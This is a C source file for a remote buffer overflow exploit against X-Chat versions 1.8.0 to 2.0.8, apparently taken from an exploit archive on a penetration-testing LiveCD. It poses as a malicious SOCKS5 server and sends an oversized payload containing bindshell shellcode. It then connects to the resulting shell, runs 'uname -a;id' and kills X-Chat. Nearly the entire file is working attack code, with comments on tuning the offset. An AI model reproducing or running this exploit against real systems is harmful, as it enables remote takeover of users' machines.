home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / xchat / xxchat-socks5.c < prev   
C/C++ Source or Header  |  2005-02-12  |  8KB  |  202 lines

  1. /*[ X-Chat[v1.8.0 - v2.0.8]: socks-5 remote buffer overflow exploit. ]*
  2.  *                                                                    *
  3.  * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)          *
  4.  *                                                                    *
  5.  * X-Chat homepage:                                                   *
  6.  *  http://www.xchat.org                                              *
  7.  *                                                                    *
  8.  * compile:                                                           *
  9.  *  cc xxchat-socks5.c -o xxchat-socks5                               *
  10.  *                                                                    *
  11.  * trigger bug/workings(X-Chat socks-5 comminucation):                *
  12.  *  0x05,0x00                                                         *
  13.  *  0x05,0x00,0x00,0x03                                               *
  14.  *  0x?? (the size of the following "data", 255MAX(char/int8))        *
  15.  *  0x??,0x??,0x?? ... ("data")                                       *
  16.  *                                                                    *
  17.  *  ie. "\x05\x00\x05\x00\x00\x03\xffxxxxxxxxxxxxxxxxxxxxxxxxxxxx..." *
  18.  *                                                                    *
  19.  * the "data", limited by the previous byte, is then copied into a    *
  20.  * 10 byte buffer labeled buf[].  the idea is to set the size of      *
  21.  * the incoming data to a larger size than expected(ie. 0xff/255MAX), *
  22.  * followed by sending that amount of data to exceed the 10 byte      *
  23.  * buffer boundary and overwrite memory addresses(stack based).       *
  24.  *                                                                    *
  25.  * the problem with the size limit is that it is defined in one       *
  26.  * character(char/int8), making a maximum of up to 255 bytes to be    *
  27.  * written to buf[].  so, this only leaves about ~100+ nops breathing *
  28.  * room per offset.  another problem is that the location of the      *
  29.  * shellcode depends on where/what X-Chat has already done.  those    *
  30.  * two things together make for a very unpractical "in the wild"      *
  31.  * exploit scenario.                                                  *
  32.  *                                                                    *
  33.  * i just saw several cryptic advisories about this bug, so i figured *
  34.  * i would look into it and see exactly what it was.                  *
  35.  *                                                                    *
  36.  * if X-Chat attempts to connect to a server(through socks-5)         *
  37.  * immediately upon the start of X-Chat("autoconnect") it will make   *
  38.  * the shellcode location a bit easier to find.  on both source       *
  39.  * compiled version 1.8.0(on rh7.1) and mandrake's rpm static binary  *
  40.  * version 2.0.5(on mdk9.1) an offset of 2600 worked.                 *
  41.  *                                                                    *
  42.  * note: the first thing that is sent to the bindshell, upon          *
  43.  * successful exploitation, is "killall -9 xchat".  this will kill    *
  44.  * X-Chat, but still keep the bindshell alive/active.  when searching *
  45.  * for the correct offset, use increments of 100(100,200,300,...).    *
  46.  **********************************************************************/
  47. #include <stdio.h>
  48. #include <stdlib.h>
  49. #include <string.h>
  50. #include <strings.h>
  51. #include <signal.h>
  52. #include <unistd.h>
  53. #include <netdb.h>
  54. #include <sys/socket.h>
  55. #include <sys/types.h>
  56. #include <sys/time.h>
  57. #include <netinet/in.h>
  58. #include <arpa/inet.h>
  59. #define BUFSIZE 255
  60. #define BSEADDR 0xbffffffa
  61. #define DFLPORT 1080
  62. #define DFLSPRT 7979
  63. #define TIMEOUT 5
  64. static char x86_exec[]= /* bindshell(??), netric based. */
  65.  "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
  66.  "\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89"
  67.  "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
  68.  "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
  69.  "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
  70.  "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
  71.  "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
  72.  "\x80";
  73. char *getcode(unsigned int);
  74. char *socks5_bind(unsigned short,unsigned int);
  75. void getshell(char *,unsigned short);
  76. void printe(char *,short);
  77. void sig_alarm(){printe("alarm/timeout hit.",1);}
  78. int main(int argc,char **argv){
  79.  unsigned short port=DFLPORT,sport=DFLSPRT;
  80.  unsigned int retaddr=BSEADDR;
  81.  char *hostptr;
  82.  if(BUFSIZE<0||BUFSIZE>255)printe("BUFSIZE must be 1-255(char/int8).",1);
  83.  printf("[*] X-Chat[v1.8.0-v2.0.8]: socks-5 remote buffer overflow exp"
  84.  "loit.\n[*] by: by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
  85.  if(argc<2){
  86.   printf("[!] syntax: %s <offset from 0x%.8x> [port] [shell port]\n\n",
  87.   argv[0],BSEADDR);
  88.   exit(1);
  89.  }
  90.  if(argc>1)retaddr-=atoi(argv[1]);
  91.  if(argc>2)port=atoi(argv[2]);
  92.  if(argc>3)sport=atoi(argv[3]);
  93.  x86_exec[20]=(sport&0xff00)>>8;
  94.  x86_exec[21]=(sport&0x00ff);
  95.  printf("[*] eip: 0x%.8x, socks-5 port: %u, bindshell port: %u.\n",
  96.  retaddr,port,sport);
  97.  hostptr=socks5_bind(port,retaddr);
  98.  sleep(1);
  99.  getshell(hostptr,sport);
  100.  exit(0);
  101. }
  102. char *getcode(unsigned int retaddr){
  103.  unsigned char i=0;
  104.  char *buf;
  105.  if(!(buf=(char *)malloc(BUFSIZE+1)))
  106.   printe("getcode(): allocating memory failed.",1);
  107.  memset(buf,0x90,BUFSIZE);
  108.  for(i=0;i<64;i+=4){*(long *)&buf[i]=retaddr;}
  109.  memcpy((buf+BUFSIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
  110.  return(buf);
  111. }
  112. char *socks5_bind(unsigned short port,unsigned int retaddr){
  113.  int ssock=0,sock=0,so=1;
  114.  socklen_t salen=0;
  115.  unsigned char *buf;
  116.  struct sockaddr_in ssa,sa;
  117.  ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  118.  setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
  119. #ifdef SO_REUSEPORT
  120.  setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
  121. #endif
  122.  ssa.sin_family=AF_INET;
  123.  ssa.sin_port=htons(port);
  124.  ssa.sin_addr.s_addr=INADDR_ANY;
  125.  printf("[*] awaiting connection from: *:%d.\n",port);
  126.  if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  127.   printe("could not bind socket.",1);
  128.  listen(ssock,2);
  129.  bzero((char*)&sa,sizeof(struct sockaddr_in));
  130.  salen=sizeof(sa);
  131.  sock=accept(ssock,(struct sockaddr *)&sa,&salen);
  132.  close(ssock);
  133.  printf("[*] socks-5 server connection established.\n");
  134.  if(!(buf=(unsigned char *)malloc(BUFSIZE+7+1)))
  135.   printe("socks5_bind(): allocating memory failed.",1);
  136.  memcpy(buf,"\x05\x00\x05\x00\x00\x03",6);
  137.  buf[6]=BUFSIZE;
  138.  memcpy(buf+7,getcode(retaddr),BUFSIZE);
  139.  printf("[*] sending specially crafted string. (exploit)\n");
  140.  write(sock,buf,BUFSIZE+7);
  141.  free(buf);
  142.  sleep(1);
  143.  close(sock);
  144.  printf("[*] socks-5 server connection closed.\n");
  145.  return(inet_ntoa(sa.sin_addr));
  146. }
  147. void getshell(char *hostname,unsigned short port){
  148.  int sock,r;
  149.  fd_set fds;
  150.  char buf[4096+1];
  151.  struct hostent *he;
  152.  struct sockaddr_in sa;
  153.  printf("[*] checking to see if the exploit was successful.\n");
  154.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  155.   printe("getshell(): socket() failed.",1);
  156.  sa.sin_family=AF_INET;
  157.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  158.   if(!(he=gethostbyname(hostname)))
  159.    printe("getshell(): couldn't resolve.",1);
  160.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  161.   sizeof(sa.sin_addr));
  162.  }
  163.  sa.sin_port=htons(port);
  164.  signal(SIGALRM,sig_alarm);
  165.  alarm(TIMEOUT);
  166.  printf("[*] attempting to connect: %s:%d.\n",hostname,port);
  167.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  168.   printf("[!] connection failed: %s:%d.\n",hostname,port);
  169.   return;
  170.  }
  171.  alarm(0);
  172.  printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
  173.  signal(SIGINT,SIG_IGN);
  174.  write(sock,"uname -a;id ;killall -9 xchat\n",30);
  175.  while(1){
  176.   FD_ZERO(&fds);
  177.   FD_SET(0,&fds);
  178.   FD_SET(sock,&fds);
  179.   if(select(sock+1,&fds,0,0,0)<1)
  180.    printe("getshell(): select() failed.",1);
  181.   if(FD_ISSET(0,&fds)){
  182.    if((r=read(0,buf,4096))<1)
  183.     printe("getshell(): read() failed.",1);
  184.    if(write(sock,buf,r)!=r)
  185.     printe("getshell(): write() failed.",1);
  186.   }
  187.   if(FD_ISSET(sock,&fds)){
  188.    if((r=read(sock,buf,4096))<1)
  189.     exit(0);
  190.    write(1,buf,r);
  191.   }
  192.  }
  193.  close(sock);
  194.  return;
  195. }
  196. void printe(char *err,short e){
  197.  printf("[!] %s\n",err);
  198.  if(e)exit(1);
  199.  return;
  200. }
  201.  
  202.